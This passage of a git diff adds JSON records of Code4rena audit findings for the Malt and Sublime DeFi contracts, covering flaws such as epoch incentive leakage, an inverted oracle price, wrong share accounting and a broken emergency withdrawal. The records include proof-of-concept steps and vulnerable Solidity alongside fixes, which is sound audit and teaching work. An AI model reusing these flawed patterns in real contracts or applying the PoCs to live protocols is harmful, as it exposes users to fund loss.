exists (it contains code) or an exception is raised. The low-level calls which operate on addresses rather than contract instances (i.e. .call(), .delegatecall(), .staticcall(), .send() and .transfer()) do not include this check, which makes them cheaper in terms of gas but also less safe.\" ## Tools Used Manual code review ## Recommended Mitigation Steps A check should be included to make sure the contract being called actually exists to avoid making possible errors in the executeTransaction() function "}, {"title": "Unnecessary event fields", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Greater costs of epoch advancement ## Proof of Concept The `Advance` event emits the block number and timestamp in its data https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L24 These fields are attached to events by default so it's unnecessary to manually emit them (and pay the associated gas costs) ## Recommended Mitigation Steps Remove `block` and `timestamp` fields from `Advance` event "}] \ No newline at end of file diff --git a/results/codearena_findings_9.json b/results/codearena_findings_9.json new file mode 100644 index 0000000..1207872 --- /dev/null +++ b/results/codearena_findings_9.json @@ -0,0 +1 @@ +[{"title": "Reducing the epoch length results in leaking value from advancement incentives", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Unintended advancement incentives being paid out to third party ## Proof of Concept `DAO.sol` incentives outside parties to advance the epoch by minting 100 MALT tokens for calling the `advance` function. This is limited by checking that the start timestamp of the next epoch has passed. https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L55-L63 This start timestamp is calculated by multiplying the new epoch number by the length of an epoch and adding it to the genesis timestamp. https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L65-L67 This method makes no accommodation for the fact that previous epochs may have been set to be a different length to what they are currently. https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DAO.sol#L111-L114 In the case where the epoch length is reduced, `DAO` will think that the epoch number can be incremented potentially many times. Provided the `advanceIncentive` is worth more than the gas necessary to advance the epoch will be rapidly advanced potentially many times paying out unnecessary incentives. ## Recommended Mitigation Steps Rather than calculating from the genesis timestamp, store the last time that the epoch length was modified and calculate from there. "}, {"title": "Invalid equation check on `require`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-malt-findings", "body": "Invalid equation check on `require`"}, {"title": "Event missing when removing a vote in extensions", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/170", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Event missing when removing a vote in extensions"}, {"title": "Collateral can be deposited in a finished pool", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/169", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Collateral can be deposited in a finished pool"}, {"title": "Ether can be locked in the `PoolFactory` contract without a way to retrieve it", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Ether can be locked in the `PoolFactory` contract without a way to retrieve it"}, {"title": "missing nonreentrant modfier", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/166", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "missing nonreentrant modfier"}, {"title": "Change state mutability in NoYield.sol", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/165", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact The `liquidityToken` function in `NoYield.sol` can have its state mutability changed to `pure` instead of `view`. This has no other effect than suppressing compiler warnings, but may help the compiler optimize this function in the future ## Proof of Concept ## Tools Used ## Recommended Mitigation Steps Change state mutability of `liquidityToken` to `pure` "}, {"title": "Not needed zero address check", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/160", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x0x0x # Vulnerability details [https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Verification/Verification.sol#L150](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Verification/Verification.sol#L150) In `Verfication.sol#unlinkAddress`, there is a not needed zero address check. ``` require(_linkedTo != address(0), 'V:UA-Address not linked'); require(_linkedTo == msg.sender, 'V:UA-Not linked to sender'); ``` Since, `msg.sender != address(0)`, there is no need for a zero address check here. "}, {"title": "Loops can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "Loops can be implemented more efficiently"}, {"title": "In `CreditLine#_borrowTokensToLiquidate`, oracle is used wrong way", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/155", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle 0x0x0x # Vulnerability details Current implementation to get the price is as follows: `(uint256 _ratioOfPrices, uint256 _decimals) = IPriceOracle(priceOracle).getLatestPrice(_borrowAsset, _collateralAsset);` [https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L1050](https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L1050) But it should not consult `borrowToken / collateralToken`, rather it should consult the inverse of this result. As a consequence, in `liquidate` the liquidator/lender can lose/gain funds as a result of this miscalculation. ## Mitigation step Replace it with `(uint256 _ratioOfPrices, uint256 _decimals) = IPriceOracle(priceOracle).getLatestPrice(_collateralAsset, _borrowAsset);` "}, {"title": "denial of service", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/154", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle danb # Vulnerability details ## Impact in the first call to requery, If the oracle returns newProtocolEquity = 0, it can never be changed and would lead to denial of service of the system. ## Proof of Concept In requery, init is checked to be false if newProtocolEquity = 0, and then set to true. so if it is already initialized and newProtocolEquity = 0, it wouldn't change anything ## Tools Used manual review "}, {"title": "Gas: Use `else if` in `withdrawLiquidity`", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle cmichel # Vulnerability details The `if` conditions in `Pool.withdrawLiquidity` are distinct conditions on the pool status. Therefore, `else if` is semantically equivalent but more gas efficient. ```solidity if (_loanStatus == LoanStatus.DEFAULTED || _loanStatus == LoanStatus.TERMINATED) { uint256 _totalAsset; if (poolConstants.borrowAsset != address(0)) { _totalAsset = IERC20(poolConstants.borrowAsset).balanceOf(address(this)); } else { _totalAsset = address(this).balance; } //assuming their will be no tokens in pool in any case except liquidation (to be checked) or we should store the amount in liquidate() _toTransfer = _toTransfer.mul(_totalAsset).div(totalSupply()); } // @audit gas: use else if, status fields are distinct, only one of the branches is (if ever) executed anyway if (_loanStatus == LoanStatus.CANCELLED) { _toTransfer = _toTransfer.add(_toTransfer.mul(poolVariables.penaltyLiquidityAmount).div(totalSupply())); } if (_loanStatus == LoanStatus.CLOSED) { //transfer repayment _withdrawRepayment(msg.sender); } ``` "}, {"title": "Self-transfer leads to wrong withdrawable repayments", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/146", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle cmichel # Vulnerability details When transferring pool tokens to oneself the `Pool._beforeTokenTransfer` overwrites the `effectiveInterestWithdrawn` of the user with a higher amount than expected. It uses the previous balance + the transfer amount instead of just the previous balance: ```solidity // @audit if from == to: overwrites with last _to statement => bug lenders[_from].effectiveInterestWithdrawn = (_fromBalance.sub(_amount)).mul(_totalRepaidAmount).div(_totalSupply); lenders[_to].effectiveInterestWithdrawn = (_toBalance.add(_amount)).mul(_totalRepaidAmount).div(_totalSupply); ``` # Impact The bug is not in the user's favor and would lead to them being able to withdraw fewer repayments in the future. #### POC - user calls `Pool.transfer(from=user, to=user, amount=pool.balanceOf(user))` - pending repayments are withdrawn first by the `_withdrawRepayment` calls. (second one does not lead to a second withdrawal as the `effectiveInterestWithdrawn` is already increased in the first call) - `lenders[user].effectiveInterestWithdrawn` is then set using `2 * userBalance`. - This has the effect that the user appears to have claimed twice as many repayments as their balance indicates already and they won't be able to claim anymore for a while. ## Recommended Mitigation Steps We still recommend fixing this bug, for example, by disallowing self-transfers. "}, {"title": "Collateral deposit does not support fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/143", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Collateral deposit does not support fee-on-transfer tokens"}, {"title": "`NoYield.sol` Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/142", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "`NoYield.sol` Tokens with fee on transfer are not supported"}, {"title": "Extension voting threshold check needs to rerun on each transfer", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/141", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle cmichel # Vulnerability details The `Extension` contract correctly reduces votes from the `from` address of a transfer and adds it to the `to` address of the transfer (in case both of them voted on it before), but it does not rerun the voting logic in `voteOnExtension` that actually grants the extension. This leads to issues where an extension should be granted but is not: #### POC - `to` address has 100 tokens and votes for the extension - `from` address has 100 tokens but does not vote for the extension and transfers the 100 tokens to `to` - `to` now has 200 tokens, `removeVotes` is run, the `totalExtensionSupport` is increased by 100 to 200. In theory, the threshold is reached and the vote should pass if `to` could call `voteOnExtension` again. - But their call to `voteOnExtension` with the new balance will fail as they already voted on it (`lastVotedExtension == _extensionVoteEndTime`). The extension is not granted. ## Impact Extensions that should be granted after a token transfer are not granted. ## Recommended Mitigation Steps Rerun the threshold logic in `removeVotes` as it has the potential to increase the total support if `to` voted for the extension but `from` did not. "}, {"title": "Extension voting power can be flashloaned", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Extension voting power can be flashloaned"}, {"title": "Pool direct savingsaccount deposits fail when no strategy set", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/138", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "Pool direct savingsaccount deposits fail when no strategy set"}, {"title": "Aave's share tokens are rebasing breaking current strategy code", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/137", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-12-sublime-findings", "body": "Aave's share tokens are rebasing breaking current strategy code"}, {"title": "approve return values not checked", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "approve return values not checked"}, {"title": "`unlockShares` wrong comment", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle cmichel # Vulnerability details The strategy contracts define an `unlockShares` function that must accept an `asset` parameter as the **share** token (yield token, aToken, cToken, etc.), otherwise, the code does not work. However, all comments say that `asset` is the address of the **underlying token**. ```solidity /** * @notice Used to unlock shares * @param asset the address of underlying token * @param amount the amount of shares to unlock * @return received amount of shares received **/ function unlockShares(address asset, uint256 amount) external override onlySavingsAccount nonReentrant returns (uint256) { if (amount == 0) { return 0; } } ``` ## Recommended Mitigation Steps Fix the comments for all `unlockShares` by saying `asset` is the share token, not the underlying token. "}, {"title": "Yearn token <> shares conversion decimal issue", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/134", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle cmichel # Vulnerability details The yearn strategy `YearnYield` converts shares to tokens by doing `pricePerFullShare * shares / 1e18`: ``` function getTokensForShares(uint256 shares, address asset) public view override returns (uint256 amount) { if (shares == 0) return 0; // @audit should divided by vaultDecimals amount = IyVault(liquidityToken[asset]).getPricePerFullShare().mul(shares).div(1e18); } ``` But Yearn's `getPricePerFullShare` seems to be [in `vault.decimals()` precision](https://github.com/yearn/yearn-vaults/blob/03b42dacacec2c5e93af9bf3151da364d333c222/contracts/Vault.vy#L1147), i.e., it should convert it as `pricePerFullShare * shares / (10 ** vault.decimals())`. The vault decimals are the same [as the underlying token decimals](https://github.com/yearn/yearn-vaults/blob/03b42dacacec2c5e93af9bf3151da364d333c222/contracts/Vault.vy#L295-L296) ## Impact The token and shares conversions do not work correctly for underlying tokens that do not have 18 decimals. Too much or too little might be paid out leading to a loss for either the protocol or user. ## Recommended Mitigation Steps Divide by `10**vault.decimals()` instead of `1e18` in `getTokensForShares`. Apply a similar fix in `getSharesForTokens`. "}, {"title": "Wrong returns of `SavingsAccountUtil.depositFromSavingsAccount()` can cause fund loss", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/132", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details The function `SavingsAccountUtil.depositFromSavingsAccount()` is expected to return the number of equivalent shares for given `_asset`. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L225-L267 ```solidity /** * @notice internal function used to get amount of collateral deposited to the pool * @param _fromSavingsAccount if true, collateral is transferred from _sender's savings account, if false, it is transferred from _sender's wallet * @param _toSavingsAccount if true, collateral is transferred to pool's savings account, if false, it is withdrawn from _sender's savings account * @param _asset address of the asset to be deposited * @param _amount amount of tokens to be deposited in the pool * @param _poolSavingsStrategy address of the saving strategy used for collateral deposit * @param _depositFrom address which makes the deposit * @param _depositTo address to which the tokens are deposited * @return _sharesReceived number of equivalent shares for given _asset */ function _deposit( bool _fromSavingsAccount, bool _toSavingsAccount, address _asset, uint256 _amount, address _poolSavingsStrategy, address _depositFrom, address _depositTo ) internal returns (uint256 _sharesReceived) { if (_fromSavingsAccount) { _sharesReceived = SavingsAccountUtil.depositFromSavingsAccount( ISavingsAccount(IPoolFactory(poolFactory).savingsAccount()), _depositFrom, _depositTo, _amount, _asset, _poolSavingsStrategy, true, _toSavingsAccount ); } else { _sharesReceived = SavingsAccountUtil.directDeposit( ISavingsAccount(IPoolFactory(poolFactory).savingsAccount()), _depositFrom, _depositTo, _amount, _asset, _toSavingsAccount, _poolSavingsStrategy ); } } ``` However, since `savingsAccountTransfer()` does not return the result of `_savingsAccount.transfer()`, but returned `_amount` instead, which means that `SavingsAccountUtil.depositFromSavingsAccount()` may not return the actual shares (when pps is not 1). https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/SavingsAccount/SavingsAccountUtil.sol#L11-L26 ```solidity function depositFromSavingsAccount( ISavingsAccount _savingsAccount, address _from, address _to, uint256 _amount, address _token, address _strategy, bool _withdrawShares, bool _toSavingsAccount ) internal returns (uint256) { if (_toSavingsAccount) { return savingsAccountTransfer(_savingsAccount, _from, _to, _amount, _token, _strategy); } else { return withdrawFromSavingsAccount(_savingsAccount, _from, _to, _amount, _token, _strategy, _withdrawShares); } } ``` https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/SavingsAccount/SavingsAccountUtil.sol#L66-L80 ```solidity function savingsAccountTransfer( ISavingsAccount _savingsAccount, address _from, address _to, uint256 _amount, address _token, address _strategy ) internal returns (uint256) { if (_from == address(this)) { _savingsAccount.transfer(_amount, _token, _strategy, _to); } else { _savingsAccount.transferFrom(_amount, _token, _strategy, _from, _to); } return _amount; } ``` As a result, the recorded `_sharesReceived` can be wrong. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L207-L223 ```solidity function _depositCollateral( address _depositor, uint256 _amount, bool _transferFromSavingsAccount ) internal nonReentrant { uint256 _sharesReceived = _deposit( _transferFromSavingsAccount, true, poolConstants.collateralAsset, _amount, poolConstants.poolSavingsStrategy, _depositor, address(this) ); poolVariables.baseLiquidityShares = poolVariables.baseLiquidityShares.add(_sharesReceived); emit CollateralAdded(_depositor, _amount, _sharesReceived); } ``` ### PoC Given: - the price per share of yearn USDC vault is `1.2` 1. Alice deposited `12,000 USDC` to `yearn` strategy, received `10,000` share tokens; 2. Alice created a pool, and added all the `12,000 USDC` from the saving account as collateral; The recorded `CollateralAdded` got the wrong number: `12000` which should be `10000`; 3. Alice failed to borrow money with the pool and tries to `cancelPool()`, it fails as the recorded collateral `shares` are more than the actual collateral. As a result, Alice has lost all the `12,000 USDC`. If Alice managed to borrow with the pool, when the loan defaults, the liquidation will also fail, and cause fund loss to the lenders. ### Recommendation Change to: ```solidity function savingsAccountTransfer( ISavingsAccount _savingsAccount, address _from, address _to, uint256 _amount, address _token, address _strategy ) internal returns (uint256) { if (_from == address(this)) { return _savingsAccount.transfer(_amount, _token, _strategy, _to); } else { return _savingsAccount.transferFrom(_amount, _token, _strategy, _from, _to); } } ``` "}, {"title": "`SavingsAccount.sol` Wrong `amount` in `Transfer` events", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/130", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-sublime-findings", "body": "`SavingsAccount.sol` Wrong `amount` in `Transfer` events"}, {"title": "Gas Optimization: Struct layout", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle gzeon # Vulnerability details Rewrite the PoolConstants struct as follow can save some gas ``` struct PoolConstants { uint256 borrowAmountRequested; uint256 loanStartTime; uint256 loanWithdrawalDeadline; uint256 idealCollateralRatio; uint256 borrowRate; uint256 noOfRepaymentIntervals; uint256 repaymentInterval; address borrower; address borrowAsset; address collateralAsset; address poolSavingsStrategy; // invest contract address lenderVerifier; } ``` https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L46 "}, {"title": "`AaveYield.getTokensForShares()`, `AaveYield.getSharesForTokens()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "`AaveYield.getTokensForShares()`, `AaveYield.getSharesForTokens()` Implementation can be simpler and save some gas"}, {"title": "`Pool.sol#withdrawBorrowedAmount()` Validation of pool status can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details Check if `_poolStatus` and `block.timestamp` earlier can avoid unnecessary code execution when this check failed. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L310-L348 ```solidity function withdrawBorrowedAmount() external override onlyBorrower(msg.sender) nonReentrant { LoanStatus _poolStatus = poolVariables.loanStatus; uint256 _tokensLent = totalSupply(); require( _poolStatus == LoanStatus.COLLECTION && poolConstants.loanStartTime < block.timestamp && block.timestamp < poolConstants.loanWithdrawalDeadline, 'WBA1' ); IPoolFactory _poolFactory = IPoolFactory(poolFactory); require(_tokensLent >= _poolFactory.minBorrowFraction().mul(poolConstants.borrowAmountRequested).div(10**30), 'WBA2'); poolVariables.loanStatus = LoanStatus.ACTIVE; uint256 _currentCollateralRatio = getCurrentCollateralRatio(); require(_currentCollateralRatio >= poolConstants.idealCollateralRatio, 'WBA3'); uint256 _noOfRepaymentIntervals = poolConstants.noOfRepaymentIntervals; uint256 _repaymentInterval = poolConstants.repaymentInterval; IRepayment(_poolFactory.repaymentImpl()).initializeRepayment( _noOfRepaymentIntervals, _repaymentInterval, poolConstants.borrowRate, poolConstants.loanStartTime, poolConstants.borrowAsset ); IExtension(_poolFactory.extension()).initializePoolExtension(_repaymentInterval); address _borrowAsset = poolConstants.borrowAsset; (uint256 _protocolFeeFraction, address _collector) = _poolFactory.getProtocolFeeData(); uint256 _protocolFee = _tokensLent.mul(_protocolFeeFraction).div(10**30); delete poolConstants.loanWithdrawalDeadline; uint256 _feeAdjustedWithdrawalAmount = _tokensLent.sub(_protocolFee); SavingsAccountUtil.transferTokens(_borrowAsset, _protocolFee, address(this), _collector); SavingsAccountUtil.transferTokens(_borrowAsset, _feeAdjustedWithdrawalAmount, address(this), msg.sender); emit AmountBorrowed(_feeAdjustedWithdrawalAmount, _protocolFee); } ``` ### Recommendation Change to: ```solidity function withdrawBorrowedAmount() external override onlyBorrower(msg.sender) nonReentrant { LoanStatus _poolStatus = poolVariables.loanStatus; require( _poolStatus == LoanStatus.COLLECTION && poolConstants.loanStartTime < block.timestamp && block.timestamp < poolConstants.loanWithdrawalDeadline, 'WBA1' ); uint256 _tokensLent = totalSupply(); IPoolFactory _poolFactory = IPoolFactory(poolFactory); require(_tokensLent >= _poolFactory.minBorrowFraction().mul(poolConstants.borrowAmountRequested).div(10**30), 'WBA2'); poolVariables.loanStatus = LoanStatus.ACTIVE; uint256 _currentCollateralRatio = getCurrentCollateralRatio(); require(_currentCollateralRatio >= poolConstants.idealCollateralRatio, 'WBA3'); uint256 _noOfRepaymentIntervals = poolConstants.noOfRepaymentIntervals; uint256 _repaymentInterval = poolConstants.repaymentInterval; IRepayment(_poolFactory.repaymentImpl()).initializeRepayment( _noOfRepaymentIntervals, _repaymentInterval, poolConstants.borrowRate, poolConstants.loanStartTime, poolConstants.borrowAsset ); IExtension(_poolFactory.extension()).initializePoolExtension(_repaymentInterval); address _borrowAsset = poolConstants.borrowAsset; (uint256 _protocolFeeFraction, address _collector) = _poolFactory.getProtocolFeeData(); uint256 _protocolFee = _tokensLent.mul(_protocolFeeFraction).div(10**30); delete poolConstants.loanWithdrawalDeadline; uint256 _feeAdjustedWithdrawalAmount = _tokensLent.sub(_protocolFee); SavingsAccountUtil.transferTokens(_borrowAsset, _protocolFee, address(this), _collector); SavingsAccountUtil.transferTokens(_borrowAsset, _feeAdjustedWithdrawalAmount, address(this), msg.sender); emit AmountBorrowed(_feeAdjustedWithdrawalAmount, _protocolFee); } ``` "}, {"title": "`10**30` can be changed to `1e30` and save some gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/CreditLine/CreditLine.sol#L379-L383 ```solidity function _updateLiquidatorRewardFraction(uint256 _rewardFraction) internal { require(_rewardFraction <= 10**30, 'Fraction has to be less than 1'); liquidatorRewardFraction = _rewardFraction; emit LiquidationRewardFractionUpdated(_rewardFraction); } ``` Can be changed to: ```solidity function _updateLiquidatorRewardFraction(uint256 _rewardFraction) internal { require(_rewardFraction <= 1e30, 'Fraction has to be less than 1'); liquidatorRewardFraction = _rewardFraction; emit LiquidationRewardFractionUpdated(_rewardFraction); } ``` and save some gas from unnecessary arithmetic operation in `10**30`. "}, {"title": "Inline unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Inline unnecessary function can make the code simpler and save some gas"}, {"title": "Remove unused local variables", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The local variables `_receivedToken` in the functions `SavingsAccount.withdraw` and `SavingsAccount.withdrawFrom` are unused. Removing them would save gas. ## Tools used slither "}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Wrong implementation of `NoYield.sol#emergencyWithdraw()`", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/115", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/yield/NoYield.sol#L78-L83 ```solidity=78{81} function emergencyWithdraw(address _asset, address payable _wallet) external onlyOwner returns (uint256 received) { require(_wallet != address(0), 'cant burn'); uint256 amount = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(_wallet, received); received = amount; } ``` `received` is not being assigned prior to L81, therefore, at L81, `received` is `0`. As a result, the `emergencyWithdraw()` does not work, in essence. ### Recommendation Change to: ```solidity=78 function emergencyWithdraw(address _asset, address payable _wallet) external onlyOwner returns (uint256 received) { require(_wallet != address(0), 'cant burn'); received = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(_wallet, received); } ``` "}, {"title": "Wrong usage of `OracleLibrary.getQuoteAtTick()` breaks `PriceOracle.sol`", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/114", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-sublime-findings", "body": "Wrong usage of `OracleLibrary.getQuoteAtTick()` breaks `PriceOracle.sol`"}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "`Pool.sol` should use the Upgradeable variant of OpenZeppelin Contracts", "html_url": "https://github.com/code-423n4/2021-12-sublime-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-sublime-findings", "body": "# Handle WatchPug # Vulnerability details Given that `Pool` is deployed as a proxied contract, it should use the Upgradeable variant of OpenZeppelin Contracts. https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/PoolFactory.sol#L320-L355 ```solidity=320{348} function _createPool( uint256 _poolSize, uint256 _borrowRate, address _borrowToken, address _collateralToken, uint256 _idealCollateralRatio, uint256 _repaymentInterval, uint256 _noOfRepaymentIntervals, address _poolSavingsStrategy, uint256 _collateralAmount, bool _transferFromSavingsAccount, bytes32 _salt, address _lenderVerifier ) internal { bytes memory data = _encodePoolInitCall( _poolSize, _borrowRate, _borrowToken, _collateralToken, _idealCollateralRatio, _repaymentInterval, _noOfRepaymentIntervals, _poolSavingsStrategy, _collateralAmount, _transferFromSavingsAccount, _lenderVerifier ); bytes32 salt = keccak256(abi.encodePacked(_salt, msg.sender)); bytes memory bytecode = abi.encodePacked(type(SublimeProxy).creationCode, abi.encode(poolImpl, address(0x01), data)); uint256 amount = _collateralToken == address(0) ? _collateralAmount : 0; address pool = _deploy(amount, salt, bytecode); poolRegistry[pool] = true; emit PoolCreated(pool, msg.sender); } ``` Otherwise, the constructor functions of `Pool`'s parent contracts which may change storage at deploy time, won't work for deployed instances. The effect may be different for different OpenZeppelin libraries. Take `ReentrancyGuard` for example, the code inside `ReentrancyGuard.sol#constructor` won't work, should use `ReentrancyGuardUpgradeable.sol` instead: https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L6-L8 ```solidity=6{6} import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20PausableUpgradeable.sol'; ``` https://github.com/code-423n4/2021-12-sublime/blob/9df1b7c4247f8631647c7627a8da9bdc16db8b11/contracts/Pool/Pool.sol#L24-L24 ```solidity=24 contract Pool is Initializable, ERC20PausableUpgradeable, IPool, ReentrancyGuard { ``` ### Recommendation Change to: ```solidity=6{6} import \"@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol\"; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20PausableUpgradeable.sol'; ``` ```solidity=24 contract Pool is Initializable, ReentrancyGuardUpgradeable, ERC20PausableUpgradeable, IPool { ``` ```solidity=133{164} function initialize( uint256 _borrowAmountRequested, uint256 _borrowRate, address _borrower, address _borrowAsset, address _collateralAsset, uint256 _idealCollateralRatio, uint256 